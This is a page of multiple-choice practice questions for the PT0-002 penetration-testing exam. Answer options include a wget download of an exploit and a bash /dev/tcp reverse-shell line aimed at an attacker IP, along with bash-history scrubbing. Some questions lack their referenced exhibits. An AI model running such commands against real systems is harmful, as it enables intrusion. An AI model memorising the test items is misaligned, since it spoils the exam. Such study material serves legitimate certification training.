PT0-002

PT0-002 practice questions, page 2 of 22, with answer review and explanations.

Question 6

A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

  1. Edit the discovered file with one line of code for remote callback.
  2. Download .pl files and look for usernames and passwords.
  3. Edit the smb.conf file and upload it to the server.
  4. Download the smb.conf file and look at configurations.

Question 7

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

  1. Whether sensitive client data is publicly accessible
  2. Whether the connection between the cloud and the client is secure
  3. Whether the client's employees are trained properly to use the platform
  4. Whether the cloud applications were developed using a secure SDLC

Question 8

A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?

  1. nc 10.10.51.50 9891 < exploit
  2. powershell -exec bypass -f \\10.10.51.50\9891
  3. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
  4. wget 10.10.51.50:9891/exploit

Question 9

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: Which of the following commands should the penetration tester run post-engagement?

  1. grep -v apache ~/bash_history > ~/.bash_history
  2. rm -rf /tmp/apache
  3. chmod 600 /tmp/apache
  4. taskkill /IM ג€apacheג€ /F

Question 10

Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

  1. Executive summary of the penetration-testing methods used
  2. Bill of materials including supplies, subcontracts, and costs incurred during assessment
  3. Quantitative impact assessments given a successful software compromise
  4. Code context for instances of unsafe typecasting operations